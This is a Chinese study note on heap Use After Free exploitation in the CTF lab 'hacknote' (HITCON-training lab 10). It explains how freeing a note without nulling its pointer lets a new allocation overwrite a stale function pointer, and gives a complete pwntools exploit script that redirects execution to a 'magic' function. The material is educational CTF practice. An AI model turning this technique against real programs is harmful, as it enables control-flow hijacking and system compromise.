堆溢出----Use After Free

学习资料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/

不得不说有些被坑的感觉,Off-By-One也太难了,问了下大神,我觉得还是先把这个弄懂,那篇学习记录我就先咕咕咕了

以下截图来自CTFWIKI,感觉说的概念挺明确的

堆溢出----Use After Free

从这里我深刻体会到了栈和堆的不同,以及堆的困难,没有EIP给我直接控制了,都要靠自己调试了,而且堆得结构复杂得多

看个例子,希望顺利……咕咕咕怕了

HITCON-training 中的 lab 10 hacknote

堆溢出----Use After Free

3个功能,还行…………吧

在IDA里看见了另外一个函数,要哭了,好久不见

堆溢出----Use After Free

 

那最后执行它就好了

开始找我们的Use After Free

我们观察到del_note()函数中(一般性free肯定在删除操作里嘛)

堆溢出----Use After Free

在 删除的时候,只进行了 free,而没有设置为 NULL,存在 Use After Free 的情况

我们在之前可以看到没个note获得的数据大小是8字节,再加上头部的八字节,一共16字节,显然是一个fastbin chunk

分析一下数据的八字节分为哪两部分,一个肯定是指针content,另一个是一个指针notelist

然后指针content在指向真正的内容content

显然,我们创建note,并删除后,那些note依然残存在内存中,那我们再次新建一个note的时候,通过修改内容content,就可以修改残存的note,等再次printf_note旧的note时候,就可以执行我们修改的内容了,这里注意的是,我们创建的新的note会覆盖前一个旧的note,但是可改的部分是内容content,所以,需要两个旧的note,有一个旧的note需要作为指针content的跳板

exp

from pwn import *

cn =process("./hacknote")
magic_addr=0x08048986

cn.recvuntil(":")
cn.sendline("1")    #add
cn.recvuntil("Note size :")
cn.sendline("32")
cn.recvuntil("Content :")
cn.sendline("aaaa")

cn.recvuntil(":")
cn.sendline("1")    #add
cn.recvuntil("Note size :")
cn.sendline("32")
cn.recvuntil("Content :")
cn.sendline("bbbb")

cn.recvuntil(":")
cn.sendline("2")     #delete
cn.recvuntil(":")
cn.sendline("0")

cn.recvuntil(":")
cn.sendline("2")     #delete
cn.recvuntil(":")
cn.sendline("1")

cn.recvuntil(":")
cn.sendline("1")    #add
cn.recvuntil("Note size :")
cn.sendline("8")
cn.recvuntil("Content :")
cn.sendline(p32(magic_addr))

cn.recvuntil(":")
cn.sendline("3")     #print
cn.recvuntil("Index :")
cn.sendline("0")

cn.interactive()

为什么内容content给的空间我这里大一些呢,是为等创建新note时,给他的空间不是内容content,fastbin的选择方式是就近,如果要是大小一样,那这些快就放在一起了,跳转不过去